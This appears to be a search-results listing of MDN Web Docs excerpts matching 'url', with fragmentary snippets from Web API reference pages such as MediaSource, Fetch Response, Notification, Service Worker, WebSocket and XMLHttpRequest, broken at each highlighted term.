ource's sourcebuffers list. quotaexceedederror the user agent can't handle any more sourcebuffer objects, or creating a new sourcebuffer using the given mimetype would result in an unsupported configuration of sourcebuffers. ...
...e source for further investigation.) var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateen...
MediaSource.endOfStream() - Web APIs
invalidstateerror mediasource.readystate is not equal to open, or one or more of the sourcebuffer objects in mediasource.sourcebuffers are being updated (i.e. ...
...e source for further investigation.) var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateen...
MediaSource.isTypeSupported() - Web APIs
") when determining if a media type can be used. this is because media files are complex, intricate constructs with far too many subtle variations to be absolutely certain of anything until you actually use the contents of the media. ...
...e source for further investigation.) var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateen...
Recording a media element - Web APIs
review.srcobject = stream; downloadbutton.href = stream; preview.capturestream = preview.capturestream || preview.mozcapturestream; return new promise(resolve => preview.onplaying = resolve); }).then(() => startrecording(preview.capturestream(), recordingtimems)) .then (recordedchunks => { let recordedblob = new blob(recordedchunks, { type: "video/webm" }); recording.src =
url.createobject
url(recordedblob); downloadbutton.href = recording.src; downloadbutton.download = "recordedvideo.webm"; log("successfully recorded " + recordedblob.size + " bytes of " + recordedblob.type + " media."); }) .catch(log); }, false); when a click event occurs, here's what happens: lines 2-4 navigator.mediadevices.getusermedia() is called to request a new media...
...ks of recorded media data) once recording has completed. lines 11-15 the recording process's resolution handler receives as input an array of media data blobs locally known as recordedchunks. the first thing we do is merge the chunks into a single blob whose mime type is "video/webm" by taking advantage of the fact that the blob() constructor concatenates arrays of objects into one object. then
url.createobject
url() is used to create an
url that references the blob; this is then made the value of the recorded video playback element's src attribute (so that you can play the video from the blob) as well as the target of the download button's link. then the download button's download attribute is set. while the download attribute can be a boolean, you can also set it to a string to use as the...
MerchantValidationEvent.complete() - Web APIs
syntax merchantvalidationevent.complete(validationdata); merchantvalidationevent.complete(merchantsessionpromise); parameters validationdata or merchantsessionpromise an object containing the data needed to complete the merchant validation process, or a promise which resolves to the validation data. return value undefined. ...
... currently being processed, the current payment request is not currently being displayed to the user, or payment information is currently being updated. example in this example, we see the client-side code needed to support merchant validation for a payment request called payrequest: payrequest.onmerchantvalidation = event => { const validationdatapromise = getvalidationdata(event.validation
url); event.complete(validationdatapromise); } function getvalidationdata(
url) { /* ...retrieve the validation data from the
url... */ } this code sets up a handler for the merchantvalidation event. the event handler calls a function, getvalidationdata(), which retrieves the data from the validation
url, then passes that data (or a promise to deliver the data) into complete(). specifications ...
Node.baseURIObject - Web APIs
syntax uriobj = node.baseuriobject value an nsiuri. ...
... syntax uriobj = node.baseuriobject value an nsiuri. ...
Notification.Notification() - Web APIs
which just adopts the browser's language setting behavior, but you can override that behaviour by setting values of ltr and rtl (although most browsers seem to ignore these settings.) lang: the notification's language, as specified using a domstring representing a bcp 47 language tag. see the sitepoint iso 2 letter language codes page for a simple reference. badge: a usvstring containing the
url of the image used to represent the notification when there isn't enough space to display the notification itself. body: a domstring representing the body text of the notification, which is displayed below the title. tag: a domstring representing an identifying tag for the notification. icon: a usvstring containing the
url of an icon to be displayed in the notification. image: a usvstring ...
...sed to represent the notification when there isn't enough space to display the notification itself. body: a domstring representing the body text of the notification, which is displayed below the title. tag: a domstring representing an identifying tag for the notification. icon: a usvstring containing the
url of an icon to be displayed in the notification. image: a usvstring containing the
url of an image to be displayed in the notification. data: arbitrary data that you want associated with the notification. this can be of any data type. vibrate: a vibration pattern for the device's vibration hardware to emit with the notification. renotify: a boolean specifying whether the user should be notified after a new notification replaces an old one. the default is false, which means th...
Notification - Web APIs
t — the user choice is unknown and therefore the browser will act as if the value were denied. notification.maxactions read only instance properties these properties are available only on instances of the notification object. notification.actions read only the actions array of the notification as specified in the constructor's options parameter. notification.badge read only the
url of the image used to represent the notification when there is not enough space to display the notification itself. notification.body read only the body string of the notification as specified in the constructor's options parameter. notification.data read only returns a structured clone of the notification’s data. notification.dir read only the text direction of the notification as spec...
.... notification.dir read only the text direction of the notification as specified in the constructor's options parameter. notification.lang read only the language code of the notification as specified in the constructor's options parameter. notification.tag read only the id of the notification (if any) as specified in the constructor's options parameter. notification.icon read only the
url of the image used as an icon of the notification as specified in the constructor's options parameter. notification.image read only the
url of an image to be displayed as part of the notification, as specified in the constructor's options parameter. notification.renotify read only specifies whether the user should be notified after a new notification replaces an old one. notification.requir...
Push API - Web APIs
will be started as necessary to handle incoming push messages, which are delivered to the serviceworkerglobalscope.onpush event handler. this allows apps to react to push messages being received, for example, by displaying a notification (using serviceworkerregistration.shownotification().) each subscription is unique to a service worker. the endpoint for the subscription is a unique capability
url: knowledge of the endpoint is all that is necessary to send a message to your application. the endpoint
url therefore needs to be kept secret, or other applications might be able to send push messages to your application. activating a service worker to deliver a push message can result in increased resource usage, particularly of the battery. different browsers have different schemes for handlin...
...r and api key when sending push notifications. it also requires an app manifest, with some special parameters to use this service. interfaces pushevent represents a push action, sent to the global scope of a serviceworker. it contains information sent from an application to a pushsubscription. pushmanager provides a way to receive notifications from third-party servers, as well as request
urls for push notifications. this interface has replaced the functionality offered by the obsolete pushregistrationmanager interface. pushmessagedata provides access to push data sent by a server, and includes methods to manipulate the received data. pushsubscription provides a subcription's
url endpoint, and allows unsubscription from a push service. service worker additions the following add...
RTCPeerConnectionIceErrorEvent - Web APIs
tion, or null if the local ip address has not yet been exposed as part of a local ice candidate. errorcode read only an unsigned integer value stating the numeric stun error code returned by the stun or turn server. if no host candidate can reach the server, this property is set to the number 701, which is outside the range of valid stun error codes. the 701 error is fired only once per server
url, and only while the is icegatheringstate is gathering. errortext read only a domstring containing the stun reason text returned by the stun or turn server. if communication with the stun or turn server couldn't be established at all, this string will be a browser-specific string explaining the error. port read only an unsigned integer value giving the port number over which communication wi...
... communication with the stun or turn server couldn't be established at all, this string will be a browser-specific string explaining the error. port read only an unsigned integer value giving the port number over which communication with the stun or turn server is taking place, using the ip address given in address. null if the connection hasn't been established (that is, if address is null).
url read only a domstring indicating the
url of the stun or turn server with which the error occurred. methods rtcpeerconnectioniceerrorevent has no methods other than any provided by the parent interface, event. examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerroreven...
Response.headers - Web APIs
interface contains the headers object associated with the response. syntax var myheaders = response.headers; value a headers object. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>. note that at the top of the fetch() block we log the response headers value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) {...
...g
url.createobject
url, and display this in an <img>. note that at the top of the fetch() block we log the response headers value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of 'headers' in that specification. living standard initial definition ...
Response.ok - Web APIs
ean stating whether the response was successful (status in the range 200-299) or not. syntax var myok = response.ok; value a boolean. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>. note: at the top of the fetch() block we log the response ok value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.ok); // returns true if the response returned successfully response.blob().then(functi...
...object
url, and display this in an <img>. note: at the top of the fetch() block we log the response ok value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.ok); // returns true if the response returned successfully response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of 'ok' in that specification. living standard initial definition ...
Response.status - Web APIs
of the response (e.g., 200 for a success). syntax var mystatus = response.status; value a number (to be precise, an unsigned short). example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>. note that at the top of the fetch() block we log the response status value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var objectur...
... of it using
url.createobject
url, and display this in an <img>. note that at the top of the fetch() block we log the response status value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of 'status' in that specification. living standard initial definition ...
Response.statusText - Web APIs
g to the status code (e.g., ok for 200). syntax var mystatustext = response.statustext; value a bytestring. the default value is "". example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>. note that at the top of the fetch() block we log the response statustext value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.statustext); // returns "ok" if the response returned successfully response.
...play this in an <img>. note that at the top of the fetch() block we log the response statustext value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.statustext); // returns "ok" if the response returned successfully response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of 'statustext' in that specification. living standard initial definition ...
Response.type - Web APIs
etch() would reject the promise. syntax var mytype = response.type; value a responsetype string indicating the type of the response. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object
url out of it using
url.createobject
url, and display this in an <img>. note that at the top of the fetch() block we log the response type to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.type); // returns basic by default response.blob().then(function(myblob) { var objec...
...out of it using
url.createobject
url, and display this in an <img>. note that at the top of the fetch() block we log the response type to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.type); // returns basic by default response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); specifications specification status comment fetchthe definition of 'type' in that specification. living standard initial definition ...
SVGDocument - Web APIs
t type, such as an htmldocument object. ...
...link, but, for example, via a bookmark). rootelement svgsvgelement the root "svg" in the document hierarchy. title domstring the title of a document as specified by the "title" sub-element of the "svg" root element (i.e., <svg><title>here is the title</title>...</svg>)
url domstring the complete uri of the document. methods the svgdocument interface does not provide any specific methods. browser compatibility desktop mobile chrome edge firefox int...
ServiceWorkerGlobalScope: notificationclick event - Web APIs
icationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.
url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); or use the onnotificationclick event handler property: self.onnotificationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open an...
... living standard ...
ServiceWorkerRegistration.showNotification() - Web APIs
ation. it can have the following properties: actions: an array of actions to display in the notification. the members of the array should be an object literal. it may contain the following values: action: a domstring identifying a user action to be displayed on the notification. title: a domstring containing action text to be shown to the user. icon: a usvstring containing the
url of an icon to display with the action. appropriate responses are built using event.action within the notificationclick event. badge: a usvstring containing the
url of an image to represent the notification when there is not enough space to display the notification itself such as for example, the android notification bar. on android devices, the badge should accommodate devices up to 4x r...
...accommodate devices up to 4x resolution, about 96 by 96 px, and the image will be automatically masked. body: a string representing an extra content to display within the notification. data: arbitrary data that you want to be associated with the notification. this can be of any data type. dir : the direction of the notification; it can be auto, ltr or rtl icon: a usvstring containing the
url of an image to be used as an icon by the notification. image: a usvstring containing the
url of an image to be displayed in the notification. lang: specify the lang used within the notification. this string must be a valid bcp 47 language tag. renotify: a boolean that indicates whether to suppress vibrations and audible alerts when reusing a tag value. if options’s renotify is true and op...
Service Worker API - Web APIs
mises, as generally they will wait for responses to come through, after which they will respond with a success or failure action. the promises architecture is ideal for this. registration a service worker is first registered using the serviceworkercontainer.register() method. if successful, your service worker will be downloaded to the client and attempt installation/activation (see below) for
urls accessed by the user inside the whole origin, or inside a subset specified by you. download, install and activate at this point, your service worker will observe the following lifecycle: download install activate the service worker is immediately downloaded when a user first accesses a service worker–controlled site/page. after that, it is updated when: a navigation to an in-scope...
...ronization. responding to resource requests from other origins. receiving centralized updates to expensive-to-calculate data such as geolocation or gyroscope, so multiple pages can make use of one set of data. client-side compiling and dependency management of coffeescript, less, cjs/amd modules, etc. for development purposes. hooks for background services. custom templating based on certain
url patterns. performance enhancements, for example pre-fetching resources that the user is likely to need in the near future, such as the next few pictures in a photo album. in the future, service workers will be able to do a number of other useful things for the web platform that will bring it closer towards native app viability. interestingly, other specifications can and will start to make use...
ValidityState.patternMismatch - Web APIs
the read-only patternmismatch property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's pattern attribute. if the field supports the pattern attribute -- which means the <input> is of type text, tel, email,
url, password, or search -- and the pattern value is set to a valid regular expression, if the value don't doesn't conform to the constraints set by the pattern value, the patternmismatch property will be true. examples given the following: <p> <label>enter your phone number in the format (123)456-7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/>)- <input name="tel2" type="tel" pattern="[0-9]{3}" placehold...
...ase, we get a patternmismatch not a validitystate.toolong or validitystate.tooshort if the values are too long or too short because it is the pattern that is dictating the length of the value. had we used minlength and maxlength attributes instead, we may have seen validitystate.toolong or validitystate.tooshort being true. note: the email input type requires, at minimum, a match of x@y and the
url type requires, at minimum, a match to x:, with no pattern attribute present. when invalid, the validitystate.typemismatch will be true, if there is no pattern attribute (or if the pattern attribute is not valid for that input type). specifications specification status comment html living standardthe definition of 'validitystate.patternmismatch' in that specification. ...
Animating textures in WebGL - Web APIs
y to perform its matrix and vertex math. you'll need to include it if you create your own project based on this code. our sample loads a copy from a cdn in our html's <head>. ...
...we set it to autoplay, mute the sound, and loop the video. we then set up two events to make sure the video is playing and the time has been updated. we need both of these checks because it will produce an error if you upload a video...
Signaling and video calling - Web APIs
rtcpeerconnection objects, their respective ends of the webrtc connection. it's invoked by invite() when the caller tries to start a call, and by handlevideooffermsg() when the callee receives an offer message from the caller. ...
.... these servers are used to determine the best route and protocols to use when communicating between the peers, even if they're behind a firewall or using nat. note: you should always use stun/turn servers which you own, or which you have specific authorization to use. this example is using a known public stun server but abusing these is bad form. each object in iceservers contains at least a
urls field providing
urls at which the specified server can be reached. it may also provide username and credential values to allow authentication to take place, if needed. after creating the rtcpeerconnection, we set up handlers for the events that matter to us. the first three of these event handlers are required; you have to handle them to do anything involving streamed media with webrtc. the re...
WebSocket - Web APIs
the websocket object provides the api for creating and managing a websocket connection to a server, as well as for sending and receiving data on the connection. to construct a websocket, use the websocket() constructor. constructor websocket(
url[, protocols]) returns a newly created websocket object. constants constant value websocket.connecting 0 websocket.open 1 websocket.closing 2 websocket.closed 3 properties websocket.binarytype the binary data type used by the connection. websocket.bufferedamount read only the number of bytes of queued data. websocket.extensions read only the extensions selected by the server. websocket.onclose an event listener to be called when the connection is closed. websocket...
...cket.onerror an event listener to be called when an error occurs. websocket.onmessage an event listener to be called when a message is received from the server. websocket.onopen an event listener to be called when the connection is opened. websocket.protocol read only the sub-protocol selected by the server. websocket.readystate read only the current state of the connection. websocket.
url read only the absolute
url of the websocket. methods websocket.close([code[, reason]]) closes the connection. websocket.send(data) enqueues data to be transmitted. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. close fired when a connection with a websocket is closed. also available via the ...
Using the Web Speech API - Web APIs
o show simple usage of web speech recognition, we've written a demo called speech color changer. when the screen is tapped/clicked, you can say an html color keyword, and the app's background color will change to that color. to run the demo, you can clone (or directly download) the github repo it is part of, open the html index file in a supporting desktop browser, or navigate to the live demo
url in a supporting mobile browser like chrome. browser support support for web speech api speech recognition is curently limited to chrome for desktop and android — chrome has supported it since around version 33 but with prefixed interfaces, so you need to include prefixed versions of them, e.g. webkitspeechrecognition. html and css the html and css for the app is really trivial. we simply ha...
...his includes a set of form controls for entering text to be synthesised, and setting the pitch, rate, and voice to use when the text is uttered. after you have entered your text, you can press enter/return to hear it spoken. to run the demo, you can clone (or directly download) the github repo it is part of, open the html index file in a supporting desktop browser, or navigate to the live demo
url in a supporting mobile browser like chrome, or firefox os. browser support support for web speech api speech synthesis is still getting there across mainstream browsers, and is currently limited to the following: firefox desktop and mobile support it in gecko 42+ (windows)/44+, without prefixes, and it can be turned on by flipping the media.webspeech.synth.enabled flag to true in about:co...
Using the Web Storage API - Web APIs
made. pages on other domains can't access the same storage objects. on the events page (see events.js) the only javascript is as follows: window.addeventlistener('storage', function(e) { document.queryselector('.my-key').textcontent = e.key; document.queryselector('.my-old').textcontent = e.oldvalue; document.queryselector('.my-new').textcontent = e.newvalue; document.queryselector('.my-
url').textcontent = e.
url; document.queryselector('.my-storage').textcontent = json.stringify(e.storagearea); }); here we add an event listener to the window object that fires when the storage object associated with the current origin is changed. as you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that c...
...json.stringify(e.storagearea); }); here we add an event listener to the window object that fires when the storage object associated with the current origin is changed. as you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the
url of the document that changed the storage, and the storage object itself (which we've stringified so you can see its content). deleting data records web storage also provides a couple of simple methods to remove data. we don't use these in our demo, but they are very simple to add to your project: storage.removeitem() takes a single argument — the key of the data item you want to remove —...
Window.name - Web APIs
browsing contexts do not need to have names. ...
...browsing contexts do not need to have names. ...
window.postMessage() - Web APIs
alue of the origin property is not consistently unicode or punycode; for greatest compatibility check for both the idn and punycode values when using this property if you expect messages from idn sites. this value will eventually be consistently idn, but for now you should handle both idn and punycode forms. the value of the origin property when the sending window contains a javascript: or data:
url is the origin of the script that loaded the
url. using window.postmessage in extensions window.postmessage is available to javascript running in chrome code (e.g., in extensions and privileged code), but the source property of the dispatched event is always null as a security restriction. (the other properties have their expected values.) it is not possible for content or web context scripts...
...n of such messages, and other listeners (including those you do not control) can listen in. content scripts should use runtime.sendmessage to communicate with the background script. web context scripts can use custom events to communicate with content scripts (with randomly generated event names, if needed, to prevent snooping from the guest page). lastly, posting a message to a page at a file:
url currently requires that the targetorigin argument be "*". file:// cannot be used as a security restriction; this restriction may be modified in the future. specifications specification status comment html living standardthe definition of 'postmessage()' in that specification. living standard ...
WindowClient - Web APIs
service worker client that is a document in a browsing context, controlled by an active worker. the service worker client independently selects and uses a service worker for its own loading and sub-resources. methods windowclient inherits methods from its parent interface, client. windowclient.focus() gives user input focus to the current client. windowclient.navigate() loads a specified
url into a controlled client page. properties windowclient inherits properties from its parent interface, client. windowclient.focused read only a boolean that indicates whether the current client has focus. windowclient.visibilitystate read only indicates the visibility of the current client. this value can be one of "hidden", "visible", or "prerender". example self.addeventlistener('n...
... working draft initial definition ...
Worklet.addModule() - Web APIs
the addmodule() method of the worklet interface loads the module in the given javascript file and adds it to the current worklet. syntax addpromise = worklet.addmodule(module
url); addpromise = worklet.addmodule(module
url, options); parameters module
url a string containing the
url of a javascript file with the module to add. options optional an object with any of the following options: credentials: a requestcredentials value that indicates whether to send credentials (e.g. cookies and http authentification) when loading the module. can be one of "omit", "same-origin", or "include". defaults to "same-origin". see also request.credentials. return value a promise that resolves once the module from the given
url has been added. the promise doesn't return any value. ...
...rigin". see also request.credentials. return value a promise that resolves once the module from the given
url has been added. the promise doesn't return any value. exceptions if addmodule() fails, it rejects the promise, delivering one of the following errors to the rejection handler. aborterror the specified script is invalid or could not be loaded. syntaxerror the specified module
url is invalid. examples audioworklet example const audioctx = new audiocontext(); const audioworklet = audioctx.audioworklet; await audioworklet.addmodule('modules/bypassfilter.js', { credentials: 'omit', }); paintworklet example css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); once a paintworklet is included, the css paint() function ...
XDomainRequest - Web APIs
quests. syntax var xdr = new xdomainrequest(); returns a new xdomainrequest object, which can then be used to make and manage these requests. properties xdomainrequest.timeout gets or sets the amount of time until a request times out. xdomainrequest.responsetext gets the response body as a string. methods xdomainrequest.open() opens the request, specifing the method (get/post) and
url. xdomainrequest.send() sends the request. post data is specified in this method. xdomainrequest.abort() aborts the request. event handlers xdomainrequest.onprogress a handler for when the request has made progress between the send method call and the onload event. xdomainrequest.ontimeout a handler for when the request times out. xdomainrequest.onerror a handler for when a request h...
...sue with the interface where some requests are lost if multiple xdomainrequests are being sent at the same time. note: the xdr.onprogress event should always be defined, even as an empty function, or xdomainrequest may not fire onload for duplicate requests. security the xdomainrequest is built to be secure in multiple ways. the origin's security protocol must match that of the requested
url. (http to http, https to https). if these do not match, the request will error "access is denied". the requested
url's server must have the access-control-allow-origin header set to either all ("*") or to include the origin of the request. specifications this interface and its methods are non-standard. ...
XMLHttpRequest.abort() - Web APIs
nt. when a request is aborted, its readystate is changed to xmlhttprequest.unsent (0) and the request's status code is set to 0. syntax xmlhttprequest.abort() parameters none. ...
...to xmlhttprequest.unsent (0) and the request's status code is set to 0. syntax xmlhttprequest.abort() parameters none. return value undefined example this example begins loading content from the mdn home page, then due to some condition, aborts the transfer by calling abort(). ...
XMLHttpRequest.onreadystatechange - Web APIs
nge event is fired, that is every time the readystate property of the xmlhttprequest changes. warning: this should not be used with synchronous requests and must not be used from native code. syntax xmlhttprequest.onreadystatechange = callback; values callback is the function to be executed when the readystate changes. ...
...erty of the xmlhttprequest changes. warning: this should not be used with synchronous requests and must not be used from native code. syntax xmlhttprequest.onreadystatechange = callback; values callback is the function to be executed when the readystate changes. ...
XMLHttpRequest.send() - Web APIs
o accept header has been set using the setrequestheader(), an accept header with the type "*/*" (any type) is sent. syntax xmlhttprequest.send(body) parameters body optional a body of data to be sent in the xhr request. this can be: a document, in which case it is serialized before being sent. an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata,
urlsearchparams, or usvstring object. null if no value is specified for the body, a default value of null is used. the best way to send binary content (e.g. in file uploads) is by using an arraybufferview or blob in conjunction with the send() method. return value undefined. exceptions exception description invalidstateerror send() has already been invoked for t...
...; xhr.onload = function () { // request finished. do processing here. }; xhr.send(null); // xhr.send('string'); // xhr.send(new blob()); // xhr.send(new int8array()); // xhr.send(document); example: post var xhr = new xmlhttprequest(); xhr.open("post", '/server', true); //send the proper header information along with the request xhr.setrequestheader("content-type", "application/x-www-form-
urlencoded"); xhr.onreadystatechange = function() { // call a function when the state changes. if (this.readystate === xmlhttprequest.done && this.status === 200) { // request finished. do processing here. } } xhr.send("foo=bar&lorem=ipsum"); // xhr.send(new int8array()); // xhr.send(document); specifications specification status comment xmlhttprequestt...
XMLHttpRequest - Web APIs
this enables a web page to update just part of a page without disrupting what the user is doing. xmlhttprequest is used heavily in ajax programming. ...
..., or a domstring, depending on the value of xmlhttprequest.responsetype, that contains the response entity body. xmlhttprequest.responsetext read only returns a domstring that contains the response to the request as text, or null if the request was unsuccessful or has not yet been sent. xmlhttprequest.responsetype is an enumerated value that defines the response type. xmlhttprequest.response
url read only returns the serialized
url of the response or the empty string if the
url is null. xmlhttprequest.responsexml read only returns a document containing the response to the request, or null if the request was unsuccessful, has not yet been sent, or cannot be parsed as xml or html. not available in workers. xmlhttprequest.status read only returns an unsigned short with the status of...
XMLHttpRequestEventTarget.onerror - Web APIs
the xmlhttprequesteventtarget.onerror is the function called when an xmlhttprequest transaction fails due to an error. syntax xmlhttprequest.onerror = callback; values callback is the function to be executed when the request fails. ...
... the xmlhttprequesteventtarget.onerror is the function called when an xmlhttprequest transaction fails due to an error. syntax xmlhttprequest.onerror = callback; values callback is the function to be executed when the request fails. ...
XMLHttpRequestEventTarget.onload - Web APIs
ttprequest transaction completes successfully. syntax xmlhttprequest.onload = callback; values callback is the function to be executed when the request completes successfully. it receives a progressevent object as its first argument. the value of this (i.e. the context) is the same xmlhttprequest this callback is related to. ...
...prequest.onload = callback; values callback is the function to be executed when the request completes successfully. it receives a progressevent object as its first argument. the value of this (i.e. the context) is the same xmlhttprequest this callback is related to. ...
XMLHttpRequestEventTarget.onloadstart - Web APIs
the xmlhttprequesteventtarget.onloadstart is the function called when an xmlhttprequest transaction starts transferring data. syntax xmlhttprequest.onloadstart = callback; values callback is the function to be called when the transaction begins to transfer data. ...
... the xmlhttprequesteventtarget.onloadstart is the function called when an xmlhttprequest transaction starts transferring data. syntax xmlhttprequest.onloadstart = callback; values callback is the function to be called when the transaction begins to transfer data. ...
XMLHttpRequestEventTarget.onprogress - Web APIs
prequest.onprogress = callback; values callback is the function to be called periodically before the request is completed. event event.loaded the amount of data currently transfered. event.total the total amount of data to be transferred. ...
...ction to be called periodically before the request is completed. event event.loaded the amount of data currently transfered. event.total the total amount of data to be transferred. ...
Web APIs
a angle_instanced_arrays abortcontroller abortsignal absoluteorientationsensor abstractrange abstract...
...opertymapreadonly stylesheet stylesheetlist submitevent subtlecrypto syncevent syncmanager t taskattributiontiming text textdecoder textencoder textmetrics textrange texttrack texttrackcue texttracklist timeevent timeranges touch touchevent touchlist trackdefault trackdefaultlist trackevent transferable transformstream transitionevent treewalker typeinfo u uievent ulongrange
url urlsearchparams
urlutilsreadonly usb usbalternateinterface usbconfiguration usbdevice usbendpoint usbintransferresult usbinterface usbisochronousintransferpacket usbisochronousintransferresult usbisochronousouttransferpacket usbisochronousouttransferresult usbouttransferresult usvstring userdatahandler userproximityevent v vttcue vttregion validitystate videoconfiguration ...
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
mportant] get_accchild: get the child of an iaccessible. [important] get_accname: get the "name" of the iaccessible, for example the name of a button, checkbox or menu item. try to use unique names for each item in a dialog so that voice dictation software doesn't have to deal with extra ambiguity.[important] get_accvalue: get the "value" of the iaccessible, for example a number in a slider, a
url for a link, the text a user entered in a field. [important] get_accdescription: get a long description of the current iaccessible. this is not really too useful. get_accrole: get an enumerated value representing what this iaccessible is used for, for example. is it a link, static text, editable text, a checkbox, or a table cell, etc. [important] get_accstate: a 32 bit field representing poss...
...nts problem: there are three kinds of text equivalents, and it is difficult to know when to use each. different applications behave differently in this regard. for example, acrobat uses accessible value for text labels where as most programs use accessible name. solution: be as consistent with internet explorer as possible. use accessible name for most text equivalents, and accessible value for
url's. don't use accessible description unless you really do have a long description for the object you need to expose -- most assistive technology makes little use of it. dueling text roles problem: there are two different roles for text objects, role_statictext and role_text. role_text is supposed to mean editable text, yet it is sometimes used in conjuction with state_readonly. it's difficult to...
-moz-image-region - CSS: Cascading Style Sheets
parameters define the top, right, bottom, and left offsets of the edges of the image, in this order. formal definition initial valueautoapplies toxul <image> elements and :-moz-tree-image, :-moz-tree-twisty, and :-moz-tree-checkbox pseudo-elements. note: -moz-image-region only works with <image> elements where the icon is specified using list-style-image. ...
...with <image> elements where the icon is specified using list-style-image. it will not work with xul <image src="
url" />.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples clipping an image #example-button { /* display only the 4x4 area from the top left of this image */ list-style-image:
url("chrome://example/skin/example.png"); -moz-image-region: rect(0px, 4px, 4px, 0px); } #example-button:hover { /* use the 4x4 area to the right of the first for the hovered button */ -moz-image-region: rect(0px, 8px, 4px, 4px); } specifications not part of any standard. ...
-webkit-box-reflect - CSS: Cascading Style Sheets
ight, left are keywords indicating in which direction the reflection is to happen. <length> indicates the size of the reflection. <image> describes the mask to be applied to the reflection. ...
...color>? ]! ...
